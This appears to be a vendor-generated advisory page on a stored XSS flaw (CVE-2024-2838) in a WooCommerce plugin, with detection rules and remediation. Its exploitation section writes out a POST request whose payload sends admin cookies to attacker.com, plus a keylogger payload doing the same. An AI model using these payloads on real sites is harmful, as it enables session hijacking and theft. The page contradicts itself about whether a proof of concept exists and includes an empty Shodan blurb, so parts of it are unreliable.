CVE-2024-2838
Executive Summary
CVE-2024-2838 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Composite Products for WooCommerce WordPress plugin, affecting all versions up to and including 7.2.7. The flaw resides in the ajax_save_components function, which fails to properly sanitize user input and escape output for the wooco_components[0][name] parameter. Additionally, the function lacks proper authorization checks, allowing authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. These scripts are stored on the server and execute whenever a victim (including administrators) accesses the compromised page. The vulnerability has a CVSS score of 6.4 (Medium), with a low attack complexity and no user interaction required for exploitation. No public proof-of-concept or exploit code is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The ajax_save_components function is part of the plugin's AJAX handler, which is intended for authenticated users to save composite product configurations. The lack of capability checks and improper input handling allows low-privileged users to inject malicious scripts that persist in the WordPress database.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs subscriber-level access.
- User Interaction: None (UI:N) – No victim action needed for script execution.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Potential data exfiltration.
- Integrity Impact: Low (I:L) – Content modification possible.
- Availability Impact: None (A:N) – No direct DoS.
Threat Level: Medium. While the CVSS score is moderate, the ability for low-privileged users to inject persistent XSS can lead to account takeover, session hijacking, or defacement. The lack of a patch increases the risk for unmaintained sites.
Deep Dive & Mechanics
The vulnerability is in the ajax_save_components function, which handles AJAX requests to save composite product components. The function is hooked to wp_ajax_wooco_save_components and wp_ajax_nopriv_wooco_save_components, but the nopriv hook is likely disabled. The issue stems from:
- Missing Authorization: The function does not call
current_user_can()orcheck_ajax_referer()with a proper capability check. This allows any authenticated user (subscriber or above) to trigger the AJAX action. - Insufficient Input Sanitization: The
wooco_components[0][name]parameter is not sanitized using functions likesanitize_text_field()orwp_kses_post(). Raw input is stored directly. - Insufficient Output Escaping: When the stored name is rendered on the product edit page or frontend, it is not escaped with
esc_html()or similar, allowing JavaScript execution.
The attack flow:
- Attacker logs in as a subscriber.
- Sends a POST request to
/wp-admin/admin-ajax.phpwithaction=wooco_save_componentsandwooco_components[0][name]=<script>alert('XSS')</script>. - The payload is stored in the WordPress database (likely in
wp_postmeta). - When an admin or other user views the composite product page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
add_action('wp_ajax_wooco_save_components', 'ajax_save_components');
function ajax_save_components() {
// No capability check
$components = $_POST['wooco_components'];
// No sanitization
$name = $components[0]['name'];
// Save to database
update_post_meta($post_id, 'wooco_components_name', $name);
}
Patched Code (hypothetical):
add_action('wp_ajax_wooco_save_components', 'ajax_save_components');
function ajax_save_components() {
// Add capability check
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized');
}
// Sanitize input
$components = $_POST['wooco_components'];
$name = sanitize_text_field($components[0]['name']);
// Escape output when rendering
echo esc_html($name);
// Save to database
update_post_meta($post_id, 'wooco_components_name', $name);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WPC Composite Products <= 7.2.7.
- Attacker account with subscriber role.
Exploitation Steps:
- Log in as subscriber.
- Craft a POST request to
http://target.com/wp-admin/admin-ajax.php:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [subscriber session cookie]
action=wooco_save_components&wooco_components[0][name]=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
- The payload is stored. When an admin visits the composite product page, the script executes, exfiltrating cookies.
Alternative Payload (keylogger):
<script>document.onkeypress=function(e){new Image().src='http://attacker.com/k?k='+e.key}</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwithaction=wooco_save_componentsfrom low-privilege users. - Look for unusual characters in
wooco_componentsparameters (e.g.,<,>,script). - Check database entries in
wp_postmetaforwooco_components_namecontaining HTML/JS.
Hardening:
- Apply a virtual patch using a Web Application Firewall (WAF) to block malicious input.
- Disable the plugin if not essential.
- Implement Content Security Policy (CSP) headers to mitigate XSS.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=wooco_save_componentsandwooco_components[0][name]containing<script>tags. - Outbound connections to attacker-controlled domains from the WordPress server.
- POST requests to
- Host:
- Database entries in
wp_postmetawheremeta_keyiswooco_components_nameandmeta_valuecontains HTML/JavaScript. - Unexpected JavaScript in composite product pages.
- Database entries in
- Logs:
- WordPress debug log entries showing AJAX errors from
wooco_save_components. - Web server logs with
admin-ajax.phprequests from subscriber IPs.
- WordPress debug log entries showing AJAX errors from
Detection Engineering
YARA Rule
rule CVE_2024_2838_WPC_Composite_XSS {
meta:
description = "Detects stored XSS payloads in WPC Composite Products for WooCommerce"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2838"
strings:
$payload = /wooco_components\[\d\]\[name\]=.*<script/i
$db_payload = /wooco_components_name.*<script/i
condition:
$payload or $db_payload
}
Sigma Rule
title: CVE-2024-2838 - Stored XSS via WPC Composite Products
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in WPC Composite Products plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=wooco_save_components'
cs-uri-query|contains: 'wooco_components[0][name]='
cs-uri-query|re: '(<|>|script|onerror|onload)'
condition: selection
falsepositives:
- Legitimate plugin usage with special characters
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2838 WPC Composite Products Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wooco_save_components"; http_client_body; content:"wooco_components[0][name]="; http_client_body; pcre:"/(<|>|script|onerror|onload)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical for business operations.
- Apply a virtual patch using a WAF to block requests containing
wooco_components[0][name]with HTML/JS. - Audit user roles – Remove subscriber accounts that do not require access.
Long-term Fix:
- The vendor must release a patched version that:
- Adds capability checks (e.g.,
current_user_can('edit_posts')). - Sanitizes input with
sanitize_text_field()orwp_kses_post(). - Escapes output with
esc_html()when rendering.
- Adds capability checks (e.g.,
- Until then, manually patch the plugin by editing the
ajax_save_componentsfunction in the plugin's PHP file.
Workaround:
- Add the following code to the theme's
functions.phpto block the AJAX action for non-admin users:
add_action('wp_ajax_wooco_save_components', function() {
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized');
}
}, 1);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.